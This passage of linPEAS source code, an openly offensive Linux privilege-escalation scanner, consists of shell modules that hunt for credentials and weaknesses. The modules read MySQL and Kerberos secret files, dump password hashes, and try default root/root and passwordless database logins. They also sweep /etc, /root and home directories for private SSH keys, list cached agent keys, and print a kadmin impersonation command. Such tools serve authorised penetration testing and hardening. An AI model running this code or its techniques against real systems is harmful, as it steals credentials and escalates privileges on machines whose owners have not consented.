[ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then print_2title "Searching kerberos conf files and tickets" "T1558.003" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/linux-active-directory.html#linux-active-directory" if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g"; else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g"; fi (env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g" printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do if [ -r "$f" ]; then if echo "$f" | grep -q .k5login; then echo ".k5login file (users with access to the user who has this file in his home)" cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" elif echo "$f" | grep -q keytab; then echo "" echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords" klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do if [ "$l" ] && echo "$l" | grep -q "@"; then printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g" #kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid #We could also try to create a new user or modify a password, but I'm not user if linpeas should do that fi done elif echo "$f" | grep -q krb5.conf; then ls -l "$f" cat "$f" 2>/dev/null | sed -${E} "s,default_ccache_name,${SED_RED},"; elif echo "$f" | grep -q kadm5.acl; then ls -l "$f" cat "$f" 2>/dev/null elif echo "$f" | grep -q sssd.conf; then ls -l "$f" cat "$f" 2>/dev/null | sed -${E} "s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},"; elif echo "$f" | grep -q secrets.ldb; then echo "You could use SSSDKCMExtractor to extract the tickets stored here" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},"; ls -l "$f" elif echo "$f" | grep -q .secrets.mkey; then echo "This is the secrets file to use with SSSDKCMExtractor" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},"; ls -l "$f" fi fi done ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos" klist 2>/dev/null || echo_not_found "klist" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Log4shell.sh ================================================ # Title: Software Information - Searching Log4Shell vulnerable libraries # ID: SI_Log4shell # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching Log4Shell vulnerable libraries # License: GNU GPL # Version: 1.0 # Mitre: T1190 # Functions Used: print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$PSTORAGE_LOG4SHELL" ] || [ "$DEBUG" ]; then print_2title "Searching Log4Shell vulnerable libraries" "T1190" printf "%s\n" "$PSTORAGE_LOG4SHELL" | while read f; do echo "$f" | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" | sed -${E} "s,log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6]),${SED_RED},"; done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Logstash.sh ================================================ # Title: Software Information - Logstash # ID: SI_Logstash # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching logstash files # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $USER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$PSTORAGE_LOGSTASH" ] || [ "$DEBUG" ]; then print_2title "Searching logstash files" "T1552.001" printf "$PSTORAGE_LOGSTASH" printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do if [ -r "$d/startup.options" ]; then echo "Logstash is running as user:" cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,root,${SED_RED}," fi cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED}," cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED}," done fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Mysql.sh ================================================ # Title: Software Information - Mysql # ID: SI_Mysql # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Mysql credentials # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $DEBUG, $USER, $STRINGS # Initial Functions: # Generated Global Variables: $mysqluser, $mysqlexec, $mysqlconnect, $mysqlconnectnopass, $mysqluser, $version_output, $major_version, $version, $process_info # Fat linpeas: 0 # Small linpeas: 1 if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then print_2title "Searching mysql credentials and exec" "T1552.001" printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds) echo "Potential file containing credentials:" ls -l "$d" if [ "$STRINGS" ]; then strings "$d" else echo "Strings not found, cat the file and check it to get the creds" fi else for f in $(find $d -name debian.cnf 2>/dev/null); do if [ -r "$f" ]; then echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," cat "$f" fi done for f in $(find $d -name user.MYD 2>/dev/null); do if [ -r "$f" ]; then echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," grep -oaE "[-_\.\*a-zA-Z0-9]{3,}" "$f" | grep -v "mysql_native_password" fi done for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do if [ -r "$f" ]; then u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," fi done for f in $(find $d -name my.cnf 2>/dev/null); do if [ -r "$f" ]; then echo "Found readable $f" grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," fi done fi mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so") if [ "$mysqlexec" ]; then echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)" echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED}," fi done fi echo "" #-- SI) Mysql version if [ "$(command -v mysql || echo -n '')" ] || [ "$(command -v mysqladmin || echo -n '')" ] || [ "$DEBUG" ]; then print_2title "MySQL version" "T1552.001" mysql --version 2>/dev/null || echo_not_found "mysql" mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1) if [ "$mysqluser" ]; then echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," fi echo "" echo "" #-- SI) Mysql connection root/root print_list "MySQL connection using default root/root ........... " mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null) if [ "$mysqlconnect" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi #-- SI) Mysql connection root/toor print_list "MySQL connection using root/toor ................... " mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null) if [ "$mysqlconnect" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi #-- SI) Mysql connection root/NOPASS mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null) print_list "MySQL connection using root/NOPASS ................. " if [ "$mysqlconnectnopass" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi echo "" fi ### This section checks if MySQL (mysqld) is running as root and if its version is 4.x or 5.x to refer a known local privilege escalation exploit! ### # Find the mysqld process process_info=$(ps aux | grep '[m]ysqld' | head -n1) if [ -z "$process_info" ]; then echo "MySQL process not found." | sed -${E} "s,.*,${SED_GREEN}," else # Extract the process user mysqluser=$(echo "$process_info" | awk '{print $1}') # Get the MySQL version string version_output=$(mysqld --version 2>&1) # Extract the version number (expects format like X.Y.Z) version=$(echo "$version_output" | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -n1) if [ -z "$version" ]; then echo "Unable to determine MySQL version." | sed -${E} "s,.*,${SED_GREEN}," else # Extract the major version number (X from X.Y.Z) major_version=$(echo "$version" | cut -d. -f1) # Check if MySQL is running as root and if the version is either 4.x or 5.x if [ "$mysqluser" = "root" ] && { [ "$major_version" -eq 4 ] || [ "$major_version" -eq 5 ]; }; then echo "MySQL is running as root with version $version. This is a potential local privilege escalation vulnerability!" | sed -${E} "s,.*,${SED_RED}," echo "\tRefer to: https://www.exploit-db.com/exploits/1518" | sed -${E} "s,.*,${SED_YELLOW}," echo "\tRefer to: https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf" | sed -${E} "s,.*,${SED_YELLOW}," else echo "MySQL is running as user '$mysqluser' with version $version." | sed -${E} "s,.*,${SED_GREEN}," fi ### ------------------------------------------------------------------------------------------------------------------------------------------------ ### fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/PGP_GPG.sh ================================================ # Title: Software Information - PGP-GPG # ID: SI_PGP_GPG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: PGP-GPG # License: GNU GPL # Version: 1.0 # Mitre: T1552.004 # Functions Used: echo_not_found # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 peass{PGP-GPG} ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/PHP_Sessions.sh ================================================ # Title: Software Information - PHP Sessions # ID: SI_PHP_Sessions # Author: Carlos Polop # Last Update: 22-08-2023 # Description: PHP Sessions # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: echo_not_found # Global Variables: # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 peass{PHP Sessions} ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Pamd.sh ================================================ # Title: Software Information - Pam.d # ID: SI_Pamd # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Passwords inside pam.d # License: GNU GPL # Version: 1.0 # Mitre: T1556.003 # Functions Used: print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: $pamdpass # Fat linpeas: 0 # Small linpeas: 1 pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#") if [ "$pamdpass" ] || [ "$DEBUG" ]; then print_2title "Passwords inside pam.d" "T1556.003" grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Postgresql.sh ================================================ # Title: Software Information - PostgreSQL # ID: SI_Postgresql # Author: Carlos Polop # Last Update: 22-08-2023 # Description: PostgreSQL brute # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: echo_no, print_list, warn_exec # Global Variables: $DEBUG, $TIMEOUT # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 peass{PostgreSQL} if [ "$TIMEOUT" ] && [ "$(command -v psql || echo -n '')" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it. #checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ " if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," else echo_no fi print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED}," else echo_no fi print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... " if [ "$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," else echo_no fi print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... " if [ "$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," else echo_no fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Postgresql_Event_Triggers.sh ================================================ # Title: Software Information - PostgreSQL Event Triggers # ID: SI_Postgresql_Event_Triggers # Author: HT Bot # Last Update: 19-11-2025 # Description: Detect unsafe PostgreSQL event triggers and postgres_fdw custom scripts that grant temporary SUPERUSER # License: GNU GPL # Version: 1.0 # Mitre: T1505.001 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $DEBUG, $E, $SED_GREEN, $SED_RED, $SED_YELLOW, $TIMEOUT # Initial Functions: # Generated Global Variables: $psql_bin, $psql_evt_output, $psql_evt_status, $psql_evt_err_line, $postgres_fdw_dirs, $postgres_fdw_hits, $old_ifs, $evtname, $enabled, $owner, $owner_is_super, $func, $func_owner, $func_owner_is_super, $IFS # Fat linpeas: 0 # Small linpeas: 1 if [ "$DEBUG" ] || { [ "$TIMEOUT" ] && [ "$(command -v psql 2>/dev/null || echo -n '')" ]; }; then print_2title "PostgreSQL event trigger ownership & postgres_fdw hooks" "T1505.001" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#postgresql-event-triggers" psql_bin="$(command -v psql 2>/dev/null || echo -n '')" if [ "$TIMEOUT" ] && [ "$psql_bin" ]; then psql_evt_output="$($TIMEOUT 5 "$psql_bin" -w -X -q -A -t -d postgres -c "WITH evt AS ( SELECT e.evtname, e.evtenabled, pg_get_userbyid(e.evtowner) AS trig_owner, tr.rolsuper AS trig_owner_super, n.nspname || '.' || p.proname AS function_name, pg_get_userbyid(p.proowner) AS func_owner, fr.rolsuper AS func_owner_super FROM pg_event_trigger e JOIN pg_proc p ON e.evtfoid = p.oid JOIN pg_namespace n ON p.pronamespace = n.oid LEFT JOIN pg_roles tr ON tr.oid = e.evtowner LEFT JOIN pg_roles fr ON fr.oid = p.proowner ) SELECT evtname || '|' || evtenabled || '|' || COALESCE(trig_owner,'?') || '|' || COALESCE(CASE WHEN trig_owner_super THEN 'yes' ELSE 'no' END,'unknown') || '|' || function_name || '|' || COALESCE(func_owner,'?') || '|' || COALESCE(CASE WHEN func_owner_super THEN 'yes' ELSE 'no' END,'unknown') FROM evt WHERE COALESCE(trig_owner_super,false) = false OR COALESCE(func_owner_super,false) = false;" 2>&1)" psql_evt_status=$? if [ $psql_evt_status -eq 0 ]; then if [ "$psql_evt_output" ]; then echo "Non-superuser-owned event triggers were found (trigger|enabled?|owner|owner_is_super|function|function_owner|fn_owner_is_super):" | sed -${E} "s,.*,${SED_RED}," printf "%s\n" "$psql_evt_output" | while IFS='|' read evtname enabled owner owner_is_super func func_owner func_owner_is_super; do case "$enabled" in O) enabled="enabled" ;; D) enabled="disabled" ;; *) enabled="status_$enabled" ;; esac echo " - $evtname ($enabled) uses $func owned by $func_owner (superuser:$func_owner_is_super); trigger owner: $owner (superuser:$owner_is_super)" | sed -${E} "s,superuser:no,${SED_RED},g" done else echo "No event triggers owned by non-superusers were returned." | sed -${E} "s,.*,${SED_GREEN}," fi else psql_evt_err_line=$(printf '%s\n' "$psql_evt_output" | head -n1) echo "Could not query pg_event_trigger (psql exit $psql_evt_status): $psql_evt_err_line" | sed -${E} "s,.*,${SED_YELLOW}," fi else if ! [ "$TIMEOUT" ]; then echo_not_found "timeout" fi if ! [ "$psql_bin" ]; then echo_not_found "psql" fi fi postgres_fdw_dirs="/etc/postgresql /var/lib/postgresql /var/lib/postgres /usr/lib/postgresql /usr/local/lib/postgresql /opt/supabase /opt/postgres /srv/postgres" postgres_fdw_hits="" for d in $postgres_fdw_dirs; do if [ -d "$d" ]; then old_ifs="$IFS" IFS="\n" for f in $(find "$d" -maxdepth 5 -type f \( -name '*postgres_fdw*.sql' -o -name '*postgres_fdw*.psql' -o -name 'after-create.sql' \) 2>/dev/null); do if [ -f "$f" ] && grep -qiE "alter[[:space:]]+role[[:space:]]+postgres[[:space:]]+superuser" "$f" 2>/dev/null; then postgres_fdw_hits="$postgres_fdw_hits\n$f" fi done IFS="$old_ifs" fi done if [ "$postgres_fdw_hits" ]; then echo "Detected postgres_fdw custom scripts granting postgres SUPERUSER (check for SupaPwn-style window):" | sed -${E} "s,.*,${SED_RED}," printf "%s\n" "$postgres_fdw_hits" | sed "s,^, - ," fi fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Runc.sh ================================================ # Title: Software Information - Runc # ID: SI_Runc # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Runc # License: GNU GPL # Version: 1.0 # Mitre: T1613,T1611 # Functions Used: print_2title, print_info # Global Variables: $DEBUG, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: $runc # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then runc=$(command -v runc || echo -n '') if [ "$runc" ] || [ "$DEBUG" ]; then print_2title "Checking if runc is available" "T1613,T1611" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#runc--privilege-escalation" if [ "$runc" ]; then echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," fi echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/SKey.sh ================================================ # Title: Software Information - S/Key athentication # ID: SI_SKey # Author: Carlos Polop # Last Update: 22-08-2023 # Description: S/Key athentication # License: GNU GPL # Version: 1.0 # Mitre: T1556 # Functions Used: print_2title # Global Variables: $DEBUG, $IAMROOT # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if (grep auth= /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q skey) || [ "$DEBUG" ] ; then print_2title "S/Key authentication" "T1556" printf "System supports$RED S/Key$NC authentication\n" if ! [ -d /etc/skey/ ]; then echo "${GREEN}S/Key authentication enabled, but has not been initialized" elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then echo "${RED}/etc/skey/ is writable by you" ls -ld /etc/skey/ else ls -ld /etc/skey/ 2>/dev/null fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh ================================================ # Title: Software Information - Screen sessions # ID: SI_Screen_sessions # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Screen sessions # License: GNU GPL # Version: 1.0 # Mitre: T1563 # Functions Used: print_2title, print_info # Global Variables:$DEBUG, $SEARCH_IN_FOLDER, $USER, $wgroups # Initial Functions: # Generated Global Variables: $screensess, $screensess2, $uscreen # Fat linpeas: 0 # Small linpeas: 1 if (command -v screen >/dev/null 2>&1 || [ -d "/run/screen" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching screen sessions" "T1563" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-shell-sessions" screensess=$(screen -ls 2>/dev/null) screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) screen -v printf "$screensess\n$screensess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m," find /run/screen -type s -path "/run/screen/S-*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do echo "Other user screen socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW}," done if [ -r "/etc/passwd" ]; then print_3title "Checking other users screen sessions" "T1563" cut -d: -f1,7 /etc/passwd 2>/dev/null | grep "sh$" | cut -d: -f1 | grep -v "^$USER$" | while read u; do uscreen=$(screen -ls "${u}/" 2>/dev/null | grep -v "No Sockets found" | grep -v "^$") if [ "$uscreen" ]; then echo "User $u screen sessions:" printf "%s\n" "$uscreen" | sed -${E} "s,.*,${SED_RED}," fi done fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Splunk.sh ================================================ # Title: Software Information - Splunk # ID: SI_Splunk # Author: Carlos Polop # Last Update: 22-08-2023 # Description: passwd files (splunk) # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: $SPLUNK_BIN # Fat linpeas: 0 # Small linpeas: 1 SPLUNK_BIN="$(command -v splunk 2>/dev/null || echo -n '')" if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then print_2title "Searching uncommon passwd files (splunk)" "T1552.001" if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do if [ -f "$f" ] && ! [ -x "$f" ]; then echo "passwd file: $f" | sed "s,$f,${SED_RED}," cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED}," fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/7_software_information/Ssh.sh ================================================ # Title: Software Information - ssh files # ID: SI_Ssh # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching ssl/ssh files # License: GNU GPL # Version: 1.0 # Mitre: T1552.004,T1021.004 # Functions Used: print_2title, print_3title # Global Variables: $HOME, $HOMESEARCH, $ROOT_FOLDER, $SEARCH_IN_FOLDER, $TIMEOUT, $USER, $wgroups # Initial Functions: # Generated Global Variables: $certsb4_grep, $hostsallow, $hostsdenied, $sshconfig, $writable_agents, $agent_sockets, $privatekeyfilesetc, $privatekeyfileshome, $privatekeyfilesroot, $privatekeyfilesmnt, # Fat linpeas: 0 # Small linpeas: 1 print_2title "Searching ssl/ssh files" "T1552.004,T1021.004" if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi if ! [ "$SEARCH_IN_FOLDER" ]; then sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" agent_sockets=$(find /run/user /tmp -type s \( -path "/run/user/*/ssh-*/agent.*" -o -name "ssh-agent.sock" -o -path "/tmp/ssh-*" \) 2>/dev/null) writable_agents=$(find /tmp /etc /home /run/user \ \( -type s -a \( -name "agent.*" -o -name "ssh-agent.sock" -o -path "*/ssh-*/agent.*" -o -name "*gpg-agent*" \) \ -a \( \( -user "$USER" \) -o \( -perm -o=w \) -o \( -perm -g=w -a \( $wgroups \) \) \) \) 2>/dev/null) else sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)" hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)" hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)" agent_sockets=$(find "${ROOT_FOLDER}"tmp "${ROOT_FOLDER}"run -type s \( -name "agent.*" -o -name "ssh-agent.sock" \) 2>/dev/null) writable_agents=$(find "${ROOT_FOLDER}" \ \( -type s -a \( -name "agent.*" -o -name "ssh-agent.sock" -o -path "*/ssh-*/agent.*" -o -name "*gpg-agent*" \) \ -a \( \( -user "$USER" \) -o \( -perm -o=w \) -o \( -perm -g=w -a \( $wgroups \) \) \) \) 2>/dev/null) fi peass{SSH} grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFile" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," if ! [ "$SEARCH_IN_FOLDER" ]; then if [ "$TIMEOUT" ]; then privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY\-\-\-\-\-' /etc 2>/dev/null) privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY\-\-\-\-\-' $HOMESEARCH 2>/dev/null) privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY\-\-\-\-\-' /root 2>/dev/null) privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY\-\-\-\-\-' /mnt 2>/dev/null) else privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY\-\-\-\-\-' $HOME/.ssh 2>/dev/null) fi else # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null) fi if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then echo "" print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED}," if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi echo "" fi if [ "$certsb4_grep" ] || [ "$PSTORAGE_CERTSBIN" ]; then print_3title "Some certificates were found (out limited):" "T1552.004,T1021.004" printf "$certsb4_grep\n" | head -n 20 printf "$PSTORAGE_CERTSBIN\n" | head -n 20 echo "" fi if [ "$PSTORAGE_CERTSCLIENT" ]; then print_3title "Some client certificates were found:" "T1552.004,T1021.004" printf "$PSTORAGE_CERTSCLIENT\n" echo "" fi if [ "$PSTORAGE_SSH_AGENTS" ]; then print_3title "Some SSH Agent files were found:" "T1552.004,T1021.004" printf "$PSTORAGE_SSH_AGENTS\n" echo "" fi if [ "$agent_sockets" ]; then print_3title "Potential SSH agent sockets were found:" "T1552.004,T1021.004" printf "%s\n" "$agent_sockets" | sed -${E} "s,.*,${SED_RED}," echo "" fi if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then print_3title "Listing SSH Agents" "T1552.004,T1021.004" ssh-add -l echo "" fi if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then print_3title "Listing gpg keys cached in gpg-agent" "T1552.004,T1021.004" gpg-connect-agent "keyinfo --list" /bye echo "" fi if [ "$writable_agents" ]; then print_3title "Writable ssh and gpg agents" "T1552.004,T1021.004" printf "%s\n" "$writable_agents" fi if [ "$PSTORAGE_SSH_CONFIG" ]; then print_3title "Some home ssh config file was found" "T1552.004,T1021.004" printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" 